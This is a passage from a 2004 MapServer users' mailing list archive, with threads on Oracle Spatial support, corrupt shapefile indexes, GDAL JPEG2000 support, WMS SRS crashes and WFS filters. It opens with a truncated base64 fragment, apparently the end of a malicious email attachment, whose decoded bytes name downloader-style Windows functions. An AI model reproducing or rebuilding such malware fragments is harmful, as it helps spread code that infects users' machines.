U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAATlIGRVcDVH9DUjN0 p0C1NiG3qIelIm1KEqhmdGSlsn4NQo1CALaoWT5iQg4XNGWqTDZ4lhijQBBXMpqQt5CGaFV1 myKoHAB2dYOKPLSqMzJ/E7lmXB/HapxjjRmuqDJJhDJFxUquPi85rYB9uTM7PSywexmztid3 WlYheYg= ----------gqaawzkdiijosepjkzwj-- From nicolas.fortin at ec.gc.ca Fri Jun 11 06:40:56 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Fri, 11 Jun 2004 09:40:56 -0400 Subject: [Mapserver-users] oracle spatial mapfile Message-ID: <118A9CF846431048B65C4AFB0E57C0ED037336@ECQCSTFMAIL1.quebec.int.ec.gc.ca> Toujours r?pondre en incluant la list pour avoir plus de chance de r?ponse... Ca d?pend ou tu l'as prise Un test rapide, dans un fenetre DOS, ?cris: mapserv -v Ca peut donner quelque chose du genre: MapServer version 4.0.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=ORACLESPATIAL INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE Si INPUT=ORACLESPATIAL n'est pas la, ta version ne supporte pas Oracle Spatial. Pour te procurer une version qui supporte Oracle Spatial, tu peux aller ici : http://mapserver.gis.umn.edu/win32binaries.html Tu choisis entre ms402_gif_oracle.zip et ms402_png_oracle.zip Bonne Chance, Nicolas -----Message d'origine----- De : Sylvain Beorchia [mailto:sbeorchia at gi-lemans.fr] Envoy? : Friday, June 11, 2004 9:23 AM ? : Fortin,Nicolas [SteFoy] Objet : Re: [Mapserver-users] oracle spatial mapfile I don't know. Je ne sais pas. C'est la version 4.0 pour windows Comment je peux le voir ? ----- Original Message ----- From: "Fortin,Nicolas [SteFoy]" To: "Sylvain Beorchia" ; Sent: Friday, June 11, 2004 2:45 PM Subject: RE : [Mapserver-users] oracle spatial mapfile Is your version of mapserver compile with Oracle Spatial support?? Nicolas -----Message d'origine----- De : mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] De la part de Sylvain Beorchia Envoy? : Friday, June 11, 2004 5:53 AM ? : mapserver-users at lists.gis.umn.edu Objet : [Mapserver-users] oracle spatial mapfile Hi list, I try to display some data from oracle spatial in my mapserver project. It doesn't work. Here is my mapfile layer: LAYER NAME spa METADATA "DESCRIPTION" "Spatial" "LEGENDE" "1" "TYPE_LAYER" "ORA" END STATUS ON CONNECTIONTYPE oraclespatial CONNECTION "spa/sig at spa" DATA "GEOLOC from FP10010_LINES" TYPE LINE CLASS OUTLINECOLOR 0 0 0 COLOR 0 128 128 END END The data in the database are from some Mapinfo TabFiles. SO i've got a table FP10010_LINES with the GEOLOC field, that's why i've tried to retreive data with "GEOLOC from FP10010_LINES". So, when i launch my IE, i've got the following errors : "Warning: MapServer Error in msOracleSpatialLayerOpen(): OracleSpatial is not supported in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 616" "Fatal error: Call to a member function on a non-object in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 617" My oracle version is 8i (8.1.7) Any ideas ? Thank u. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From simon at inf.univali.br Fri Jun 11 08:02:48 2004 From: simon at inf.univali.br (FERNANDO SIMON) Date: Fri, 11 Jun 2004 12:02:48 -0300 Subject: [Mapserver-users] oracle spatial mapfile In-Reply-To: <000b01c44f99$d0cfdad0$8569850a@GILEMANS> References: <000b01c44f99$d0cfdad0$8569850a@GILEMANS> Message-ID: <1086966168.40c9c99848844@webmail.cttmar.univali.br> Hi, Are you compiled mapserver with Oracle Spatial support? And what do you want to show with Mapserver/OracleSpatial? ( points, lines, polygons? ) ============================================ Fernando Simon - simon at cttmar.univali.br Mapserv and OracleSpatial developer -------------------------------------------- Laboratorio de Computacao Aplicada - Brazil g10.cttmar.univali.br ============================================ Citando Sylvain Beorchia : > Hi list, > > I try to display some data from oracle spatial in my mapserver project. It > doesn't work. > Here is my mapfile layer: > > LAYER > NAME spa > METADATA > "DESCRIPTION" "Spatial" > "LEGENDE" "1" > "TYPE_LAYER" "ORA" > END > STATUS ON > CONNECTIONTYPE oraclespatial > CONNECTION "spa/sig at spa" > DATA "GEOLOC from FP10010_LINES" > TYPE LINE > CLASS > OUTLINECOLOR 0 0 0 > COLOR 0 128 128 > END > > END > > The data in the database are from some Mapinfo TabFiles. SO i've got a > table > FP10010_LINES with the GEOLOC field, that's why i've tried to retreive data > with "GEOLOC from FP10010_LINES". > > So, when i launch my IE, i've got the following errors : > > "Warning: MapServer Error in msOracleSpatialLayerOpen(): OracleSpatial > is not supported in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 616" > "Fatal error: Call to a member function on a non-object in > C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 617" > > > My oracle version is 8i (8.1.7) > > Any ideas ? > Thank u. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > ------------------------------------------------ Este e-mail foi enviado pelo webmail do curso de Ci?ncia da Computa??o - UNIVALI From berend.veldkamp at aris.nl Fri Jun 11 08:21:17 2004 From: berend.veldkamp at aris.nl (Berend Veldkamp) Date: Fri, 11 Jun 2004 17:21:17 +0200 Subject: [Mapserver-users] Mapserver doesn't create image, no crash In-Reply-To: <5B025B1F39D6D4119F5700508BEEEC6601423390@SRSOFAIOI4546> References: <5B025B1F39D6D4119F5700508BEEEC6601423390@SRSOFAIOI4546> Message-ID: <40C9CDED.9010807@aris.nl> I seem to have found a workaround: I deleted all the index files (*.qix) and so far everything works. Can anyone comment on this? Berend M?ri C?dric wrote: > Hi Berend > > sadly engouh I've got no hint for you. We are suffering of exactly the same > problem: > > We are running about 15 projects/mapfiles on the same cgi, but the problem > occurs only in one project which worked fine in 3.6. > > I reduced the number of layers in the project from about 25 to 10, but still > the same. We tried all your ideas also with no success. We also tried to > eliminate all LABELCACHE and POSTLABELCACHE in the mapfile. > > We are running MapServer 4.0.1 on RedHat 7.2. > > If anyone has an idea or the solution of the problem please let me/us know! > > Best regards > C?dric -- From markadams at cuestasys.com Fri Jun 11 08:30:17 2004 From: markadams at cuestasys.com (Mark Adams) Date: Fri, 11 Jun 2004 11:30:17 -0400 Subject: [Mapserver-users] gdall, mapscript and jp2 files Message-ID: <000101c44fc8$ffc2b360$1300a8c0@cuestasys.com> This is a multi-part message in MIME format. ------=_NextPart_000_0002_01C44FA7.78B11360 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hoping someone can help me out. I=92m trying to add some .jp2 files to = our mapserver site. I=92ve determined that the version of gdal12.dll that is distributed with the php_mapscript binary package does not support this format; but I=92ve found a version of the dll that does support it. When we tried to simply replace the existing gdal with the new one, our application blew up =96 we received errors indicating that the php_mapscript dll could not be found etc. We understand from that that we=92ll have to recompile to include support for jp2 files. But =96 do = we need to recompile mapscript, mapserver, or both? Where are the calls to gdall made from?=20 =20 Thanks. =20 ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com =20 ------=_NextPart_000_0002_01C44FA7.78B11360 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hoping someone can help me out. I’m trying to = add some .jp2 files to our mapserver site. I’ve determined that the version of gdal12.dll that is distributed with the = php_mapscript binary package does not support this = format; but I’ve found a version of the dll = that does support it. When we tried to simply replace the existing gdal with the new one, our application blew up – we received errors = indicating that the php_mapscript dll could not be found etc. We understand from that that we’ll have to recompile to include support for jp2 files. But – do we need to = recompile mapscript, mapserver, or both? Where are the calls to gdall made = from?

 

Thanks.

 

------------------= ------------

Mark Adams

Business & = Systems Analyst

Cuesta Systems = Inc.

5230 South Service = Road

Burlington, ON = L7L = 5K2

Phone: = 905-333-4544 x14

Fax: = 905-333-0455

Email: markadams at cuestasys.com

 

------=_NextPart_000_0002_01C44FA7.78B11360-- From Zamil.Murji at divestco.com Fri Jun 11 08:49:46 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Fri, 11 Jun 2004 09:49:46 -0600 Subject: [Mapserver-users] Mapserver doesn't create image, no crash Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABF78@DIV-MX02.divestco> I used to get this same problem when when of my .qix files became obsolete. Let's say I had a .shp file, ran shptree on it to create my index file. Came along a week later and replaced the original .shp file with an updated one, but I didn't bother to recreate the index file. In this case you will not get an image but also no errors either. Hope this helps. Zamil -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Berend Veldkamp Sent: Friday, June 11, 2004 9:21 AM Cc: Mapserver Users Subject: Re: [Mapserver-users] Mapserver doesn't create image, no crash I seem to have found a workaround: I deleted all the index files (*.qix) and so far everything works. Can anyone comment on this? Berend M?ri C?dric wrote: > Hi Berend > > sadly engouh I've got no hint for you. We are suffering of exactly the same > problem: > > We are running about 15 projects/mapfiles on the same cgi, but the problem > occurs only in one project which worked fine in 3.6. > > I reduced the number of layers in the project from about 25 to 10, but still > the same. We tried all your ideas also with no success. We also tried to > eliminate all LABELCACHE and POSTLABELCACHE in the mapfile. > > We are running MapServer 4.0.1 on RedHat 7.2. > > If anyone has an idea or the solution of the problem please let me/us know! > > Best regards > C?dric -- _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From berend.veldkamp at aris.nl Fri Jun 11 08:56:45 2004 From: berend.veldkamp at aris.nl (Berend Veldkamp) Date: Fri, 11 Jun 2004 17:56:45 +0200 Subject: [Mapserver-users] Mapserver doesn't create image, no crash In-Reply-To: <64FC1B3E23F04C4E931EE3F6D809FF303ABF78@DIV-MX02.divestco> References: <64FC1B3E23F04C4E931EE3F6D809FF303ABF78@DIV-MX02.divestco> Message-ID: <40C9D63D.5010600@aris.nl> That may be related, but I had already updated all the indexes. Maybe one got corrupted somehow. I'll try to recreate them all and see what happens. Thanks, Berend Zamil Murji wrote: > I used to get this same problem when when of my .qix files became obsolete. > Let's say I had a .shp file, ran shptree on it to create my index file. > Came along a week later and replaced the original .shp file with an > updated one, but I didn't bother to recreate the index file. In this case > you will not get an image but also no errors either. Hope this helps. > > Zamil > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Berend > Veldkamp > Sent: Friday, June 11, 2004 9:21 AM > Cc: Mapserver Users > Subject: Re: [Mapserver-users] Mapserver doesn't create image, no crash > > > I seem to have found a workaround: I deleted all the index files (*.qix) > and so far everything works. Can anyone comment on this? > > Berend > -- ____________________________ Berend Veldkamp - ARIS http://www.aris.nl/ ____________________________ From dmccann at progressivepartnering.com Fri Jun 11 08:58:56 2004 From: dmccann at progressivepartnering.com (Dave McCann) Date: Fri, 11 Jun 2004 10:58:56 -0500 Subject: [Mapserver-users] Consulting Services In-Reply-To: Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_004F_01C44FA3.18A42290 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable This is a little more deeper into what we're looking for for = those of you who responded.. =20 Thanks for the responses... If any of you think you have the resources/capability to complete a project like this please let me = know... =20 Dave =20 =20 =20 =20 OK, here's a quick simple description: =20 We have the maptools.org configuration http://www.maptools.org/ms4w/index.phtml. We would like for web users to = be able to log in to a web site to view our map data (Shapefiles) and to = view a specific layer that is unique to the user. (It is a layer that covers an area that the user owns items within). We would like for the user to be = able to use some sort of tool or widget to be able to update their specific coverage area and be able to post the changes back to us in some sort of format that we could review the changes prior to importing via = ArcEditor. It could be any type of option e.g. user marks the map up and clicks a = button and it creates a file and executes a send mail command with the file as = an attachment. Could simply be an option for the user to click a button to = save the edits to a local file for the user to transmit to us via email or whatever means is available to the user. Most important is for the user = to be able to log in and to view a map of the US State the user is in and = to view their specific county and to see their coverage layer on top of the county with other layers like roads and places. =20 =20 If this sounds like something you might be able to do with please let me know and we can take it a little deeper. -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Dave = McCann Sent: Thursday, June 10, 2004 11:01 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Consulting Services Anyone know of a good Consulting Service with experience in MapServer = and PHP? We are looking for a solution for marking a map and persisting the data. Please contact me via email: dmccann at progressivepartnering.com. =20 =20 Dave McCann Progressive Partnering Inc. 2525 Perimeter Place Dr., Suite 118 Nashville, TN 37214 Work: (615) 367-5954 Cell: (615) 504-5207 dmccann at progressivepartnering.com =20 ------=_NextPart_000_004F_01C44FA3.18A42290 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Message
       &nbs= p;  This=20 is a little more deeper into what we're looking for for those of you who = responded..
 
Thanks for the responses... = If any of=20 you think you have the resources/capability to complete a project like = this=20 please let me know...
 
Dave
 
 
 
 
OK,=20 here's a quick simple description:
 
We have the maptools.org configuration http://www.maptools.org/ms4w/index.phtml. We would like for web users to be able to log in to a web = site to=20 view our map data (Shapefiles) and to view a specific layer that is = unique to=20 the user. (It is a layer that covers an area that the user owns items = within).=20 We would like for the user to be able to use some sort of tool or = widget to be=20 able to update their specific coverage area and be able to post the = changes=20 back to us in some sort of format that we could review the changes = prior to=20 importing via ArcEditor. It = could be any=20 type of option e.g. user marks the map up and clicks a button and it = creates a=20 file and executes a send mail command with the file as an attachment. = Could=20 simply be an option for the user to click a button to save the edits = to a=20 local file for the user to transmit to us via email or whatever means = is=20 available to the user. Most important is for the user to be able to = log in and=20 to view a map of the US State the user is in and to view their = specific county=20 and to see their coverage layer on top of the county with other layers = like=20 roads and places.
 
 
If=20 this sounds like something you might be able to do with please let me = know and=20 we can take it a little deeper.
-----Original Message-----
From:=20 mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of = Dave=20 McCann
Sent: Thursday, June 10, 2004 11:01 = AM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: = [Mapserver-users]=20 Consulting Services

Anyone know=20 of a good Consulting Service with experience in MapServer = and PHP? We=20 are looking for a solution for marking a map and persisting the = data. Please=20 contact me via email: dmccann at progressivepart= nering.com.
 
 
Dave=20 McCann
Progressive = Partnering=20 Inc.
2525 Perimeter Place = Dr., Suite=20 118
Nashville, TN = 37214
Work: (615) = 367-5954
Cell: (615) = 504-5207
dmccann at progressivepart= nering.com
 
------=_NextPart_000_004F_01C44FA3.18A42290-- From ealpert at digitalglobe.com Fri Jun 11 10:23:00 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Fri, 11 Jun 2004 11:23:00 -0600 Subject: [Mapserver-users] PHP shapefile reader? Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140C86@COMAIL01.digitalglobe.com> I'm still struggling with mapscript's shapefileObj's lack of an API to access to shapefile (ShapeRecords) attributes. I now need to find something to read shapefile attributes and geometries from ESRI shapefiles using PHP. Anyone know of a PHP package to do this? Thanks, -e From andrew at andrewhaigh.net Fri Jun 11 10:46:11 2004 From: andrew at andrewhaigh.net (Andrew Haigh) Date: Fri, 11 Jun 2004 18:46:11 +0100 Subject: [Mapserver-users] Using OS MasterMap with MapServer In-Reply-To: <20040610125259.86544.qmail@web15204.mail.bjs.yahoo.com> References: <20040610125259.86544.qmail@web15204.mail.bjs.yahoo.com> Message-ID: <39D6C21C-BBCF-11D8-BB59-000A95B8513A@andrewhaigh.net> --Apple-Mail-1--852894953 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed It all depends what format your MasterMap is in? GML? Shapefile? =20 MapInfo Tab? Getting MasterMap. to work from a shapefile is easy, however, if your =20= data is GML then I think you'll need convert it. You might be able to read it in via OGR/GDAL but I've never tried it =20 (www.remotesensing.org/gdal/), if your using the none topographically =20= structured version. If you look on the OS website =20 (http://www.ordnancesurvey.co.uk/oswebsite/products/osmastermap/=20 systems/index.html) this will tell you what software claims to be =20 compatabile. Not sure if this is helpful or not. Regards, Andrew On 10 Jun 2004, at 13:52, guoloi dou wrote: > I am new to GIS and am trying to implement a web-based navigation =20 > system to display Ordnance Survey MasterMap data. Below=A0are the =20 > technologies availabe: > 1.PHP; > 2.MySQL; > 3.OS MasterMap > 4.MapServer > 5.Apache on Windows XP > =A0 > Could someone tell me how MasterMap be used by MapServer so that I can = =20 > extract location information from MapServer and MySQL? > =A0 > Your help would be appreciated > =A0 > Best regards, > Zhengda Lu > --Apple-Mail-1--852894953 Content-Transfer-Encoding: quoted-printable Content-Type: text/enriched; charset=ISO-8859-1 It all depends what format your MasterMap is in? GML? Shapefile? MapInfo Tab? Getting MasterMap. to work from a shapefile is easy, however, if your data is GML then I think you'll need convert it. =20 You might be able to read it in via OGR/GDAL but I've never tried it = (Arial0000,8080,0000www.remotesensing.org/gdal/),= if your using the none topographically structured version. If you look on the OS website = (http://www.ordnancesurvey.co.uk/oswebsite/products/osmastermap/systems/in= dex.html) this will tell you what software claims to be compatabile.=20 Not sure if this is helpful or not. Regards, Andrew On 10 Jun 2004, at 13:52, guoloi dou wrote: Times New RomanI am new to GIS and am trying to implement a web-based navigation system to display Ordnance Survey MasterMap data. Below=A0are the technologies availabe: Times New = Roman1.PHP; Times New = Roman2.MySQL; Times New Roman3.OS = MasterMap Times New = Roman4.MapServer Times New Roman5.Apache on Windows XP =A0 Times New RomanCould someone tell me how MasterMap be used by MapServer so that I can extract location information from MapServer and MySQL? Times New Roman =A0 Times New RomanYour help would be appreciated =A0 Times New RomanBest = regards, Times New RomanZhengda = Lu STHeiti0000,0000,EEEE --Apple-Mail-1--852894953-- From randy.page at terraverge.com Fri Jun 11 10:56:05 2004 From: randy.page at terraverge.com (Randy Page) Date: Fri, 11 Jun 2004 13:56:05 -0400 Subject: [Mapserver-users] Where is remotesensing.org? Message-ID: <20040611135447.SM02656@rpage> This is a multi-part message in MIME format. ------=_NextPart_000_00DE_01C44FBB.D6C77110 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi, I need to download ogr2ogr, but have not been able to reach the remotesensing.org website. Does anybody know an alternative source for this? Thanks, Randy ------=_NextPart_000_00DE_01C44FBB.D6C77110 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable

Hi,

 

I need to download ogr2ogr, but have not been able to = reach the remotesensing.org website.   Does anybody know an = alternative source for this?

 

Thanks,

 

Randy

 

 

------=_NextPart_000_00DE_01C44FBB.D6C77110-- -- [This E-mail scanned for viruses by Declude Virus] From gayathri at ou.edu Fri Jun 11 11:16:09 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Fri, 11 Jun 2004 13:16:09 -0500 Subject: [Mapserver-users] Where is remotesensing.org? Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0E4B72A@XMAIL1.sooner.net.ou.edu> This is a multi-part message in MIME format. ------_=_NextPart_001_01C44FE0.2BCCF47C Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable try gdal.maptools.org instead.... www.remotesensing.org seems to be down since this morning... =20 Gayathri -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Randy Page Sent: Friday, June 11, 2004 12:56 PM To: Mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Where is remotesensing.org? =09 =09 Hi, =20 I need to download ogr2ogr, but have not been able to reach the remotesensing.org website. Does anybody know an alternative source for this? =20 Thanks, =20 Randy =20 =20 ------_=_NextPart_001_01C44FE0.2BCCF47C Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
try=20 gdal.maptools.org instead....
www.remotesensing.org seems to = be down=20 since this morning...
 
Gayathri
-----Original Message-----
From:=20 mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of = Randy=20 Page
Sent: Friday, June 11, 2004 12:56 PM
To:=20 Mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] = Where=20 is remotesensing.org?

Hi,

 

I need to download = ogr2ogr, but=20 have not been able to reach the remotesensing.org website.   = Does=20 anybody know an alternative source for = this?

 

Thanks,

 

Randy

 

 

=00 ------_=_NextPart_001_01C44FE0.2BCCF47C-- From bartvde at xs4all.nl Fri Jun 11 13:02:09 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Fri, 11 Jun 2004 22:02:09 +0200 (CEST) Subject: [Mapserver-users] crash using srs parameter in getmap request In-Reply-To: <40C97F5E.8030009@geodan.nl> References: <2A6FDD75AE04BE4A9E8C918D3C09FB0770A4@ptolemy.topozone.com> <40C97F5E.8030009@geodan.nl> Message-ID: <6584.207.107.247.18.1086984129.squirrel@webmail.xs4all.nl> Hi John, 4.2 release binaries are available at Maptools.org. I would suggest to try them out to see if the problem really disappeared. http://www.maptools.org/dl/mapserver-4.2.0-win32-php4.3.4.zip Best regards, Bart > Ed McNierney wrote: > >>Folks - >> >>What version of MapServer are you running when you get this crash? My >>memory is being fuzzy right now, but there was a bug quite a while ago >>that had something to do with a buffer/pointer problem with SRS >>parameters (I think). I ran into it and Daniel fixed it - but it was >>rather a long time ago. If you're using an old version of MapServer, >>try something newer. >> >> >> > Hi again, > > The crash 'succeeded' with MapServer version 4.2-beta2 on W2K (from > http://160.94.77.165/ms42b2_gif_pg.zip). As far as I know, mapserver > version 4.2 is only available as a beta, so after suggestions to upgrade > to version 4.2, it seemed worth to try to build mapserver 4.2 on Linux. > With this version the crash does NOT occur and the url returns an image > with or without srs parameters for both desired projections. > Question that remains is if the problem in beta2 occurred because of > the beta status or because of the windows version? > > John. > >> - Ed >> >>Ed McNierney >>President and Chief Mapmaker >>TopoZone.com >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>craig.gould at bt.com >>Sent: Thursday, June 10, 2004 9:17 AM >>To: Tom.Kralidis at ec.gc.ca; john.pulles at geodan.nl; >>mapserver-users at lists.gis.umn.edu >>Subject: RE: [Mapserver-users] crash using srs parameter in getmap >>request >> >>Tom, >> >>If John's crash is anything like the crash I experienced then it is the >>actual mapserv process on the machine that crashes with a null pointer >>exception somewhere. >> >>This crash only happens with certain types of projections. I was using >>British National Grid (BNG). The native projection of the WMS server was >>BNG, and the native projection of the WMS client was BNG. However if I >>include the SRS parameter then the map server process on the WMS server >>crashed (however not if you used a browser and did a standard request). >>If I took out the SRS parameter via a redirecting page the process did >>not crash. >> >>Upper and lower case made no difference for me. The application still >>crashed. >> >>BTW, when I found this problem I posted it on this list, but got no >>answer back. Since then at least two other people have posted similar >>problems. Each time I've let them know how I got round the problem. >>Unfortunately I can't get seem to get map server to compile on my win >>machine so I can't look into where this may be happening. >> >>Craig. >> >> >> >> >>-----Original Message----- >>From: Kralidis,Tom [Burlington] [mailto:Tom.Kralidis at ec.gc.ca] >>Sent: 10 June 2004 14:04 >>To: Gould,CR,Craig,XGH6A C; john.pulles at geodan.nl; >>mapserver-users at lists.gis.umn.edu >>Subject: RE: [Mapserver-users] crash using srs parameter in getmap >>request >> >> >> >>Comments: >> > >>- What do you mean by MapServer crashing? Are you getting a 500 error? >>Are you getting an OGC Service Exception Report XML document? >>- What is the *native* projection of the data? This is what should be >>declared in the PROJECTION block foreach layer >>- try your "wms_srs" declaration with lowercase (i.e. "init=epsg:28992") >>- trying a WMS GetMap request without the SRS keyword is an invalid >>request, and should throw an exception >>- WMS is not the problem. A WMS shall support all SRS projections it >>advertises in Capabilities >> >>..Tom >> >>========================= >>Tom Kralidis >>Systems Scientist >>Environment Canada >>Tel: +01-905-336-4409 >>http://www.ec.gc.ca/ >> >> >> >> >> >>>-----Original Message----- >>>From: mapserver-users-admin at lists.gis.umn.edu >>>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>>craig.gould at bt.com >>>Sent: Thursday, June 10, 2004 7:33 AM >>>To: john.pulles at geodan.nl; mapserver-users at lists.gis.umn.edu >>>Subject: RE: [Mapserver-users] crash using srs parameter in >>>getmap request >>> >>> >>>John, >>>I and a few others have found the same problem. >>>The way round it is to create a web page that is called >>>instead of the opengis mapserver. This page forwards the >>>request to the mapserver but strips out the SRS paramater. If >>>the map server is using the projection you want returned by >>>default, then everything ends up OK. BTW this only happens >>>with certain projection types. Regards, Craig. >>> >>> >>>-----Original Message----- >>>From: mapserver-users-admin at lists.gis.umn.edu >>>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>>John Pulles >>>Sent: 10 June 2004 10:28 >>>To: mapserver-users at lists.gis.umn.edu >>>Subject: [Mapserver-users] crash using srs parameter in getmap request >>> >>> >>>Hi List >>> >>>Using a map file with projection settings as shown below, I >>>get a crash of mapserver when doing an opengis getmap request >>>with &srs=epsg:28992. With an absent srs parameter or with >>>&srs=epsg:4326 a correct map is returned. Does anyone have an >>>idea what could be wrong? >>> >>>BTW: I am using MapServer version 4.2-beta2 on W2K, with the >>>PROJ_LIB environment variable set to the directory containing >>>the epsg file. >>> >>> >>>Regards, >>>John Pulles. >>> >>>MAP >>> NAME "Demo" >>> >>> PROJECTION >>> # RD >>> "init=EPSG:28992" >>> END >>> >>> EXTENT 10000 305000 280000 619000 >>> >>> SHAPEPATH "c:\kaarten" >>> UNITS meters >>> >>> WEB >>> METADATA >>> "wms_title" "Demo" >>> "wms_srs" "EPSG:4326 EPSG:28992" >>> END >>> END >>> >>> LAYER >>> NAME provincies >>> DATA "provincies" >>> STATUS ON >>> METADATA >>> "wms_title" "Provincies" >>> "wms_srs" "EPSG:4326 EPSG:28992" >>> END >>> TYPE POLYGON >>> CLASS >>> COLOR 212 212 212 >>> OUTLINECOLOR 0 >>> END >>> PROJECTION >>> # RD >>> "init=EPSG:28992" >>> END >>> END >>>END >>> >>>-------------------- >>> >>> >>> >>> >>>_______________________________________________ >>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >>> >>> >>>_______________________________________________ >>> >>>Mapserver-users mailing list >>>Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >>> >>> >>> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> >> >> > > > -- > > ------------------------------------- > Geodan IT b.v. > Buitenhaven 27-A > 5211 TP 's-Hertogenbosch (NL) > ------------------------------------- > Tel: +31 (0)73 - 692 5151 > Fax: +31 (0)73 - 692 5150 > Mobiel: +(0)6 - 1234 5678 > ------------------------------------- > Postadres / mailing address > President Kennedylaan 1 > 1079 MB Amsterdam (NL) > ------------------------------------- > E-mail: john.pulles at geodan.nl > Website: http://www.geodan.nl > Disclaimer: http://www.geodan.nl/disclaimer > ------------------------------------- > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bartvde at xs4all.nl Fri Jun 11 13:41:53 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Fri, 11 Jun 2004 22:41:53 +0200 (CEST) Subject: [Mapserver-users] still need wfs help In-Reply-To: <20040611102544.5404.qmail@maboque.srv.clix.pt> References: <20040611102544.5404.qmail@maboque.srv.clix.pt> Message-ID: <12673.207.107.247.18.1086986513.squirrel@webmail.xs4all.nl> Hi, the things you are trying won't work. Within is not supported, see the GetCapabilities interface for what is supported. Here is an example I use: http://localhost:81/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=Gemeentes&request=getfeature&Filter=%3CFilter%3E%3CPropertyIsEqualTo%3E%3CPropertyName%3EGEMNAAM%3C/PropertyName%3E%3CLiteral%3EAmsterdam%3C/Literal%3E%3C/PropertyIsEqualTo%3E%3C/Filter%3E The filter is then in a more readable format: GEMNAAM Amsterdam Try reading more about Filters in the OGC Filter specification. Best regards, Bart > I?trying to do some queries (CGI mode) using the parameters PropertyName; > FeatureId and Filter but with no sucess (i?m using mapserver version > 4.2-beta2).I?m based on the examples that I found in WFS Specification > (page 80). I?m trying things > like:http://www.someserver.com/wfs.cgi&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&typename=INWATERA_1M&PROPERTYNAME=INWATERA_1M/WKB_GEOM,INWATERA_1M/TILE_ID&FEATUREID=INWATERA_1M.1013but > the results are the same with or without those parameters.And what about > Filter parameter? Is is supported by mapserver?Should the following > example > work?;Filter;Within;PropertyName;PropertyName;gmlox;gml;coordinates;/gml:coordinates;/gmlox;/Within;/Filter From john.pulles at geodan.nl Fri Jun 11 13:48:30 2004 From: john.pulles at geodan.nl (John Pulles) Date: Fri, 11 Jun 2004 22:48:30 +0200 Subject: [Mapserver-users] crash using srs parameter in getmap request In-Reply-To: 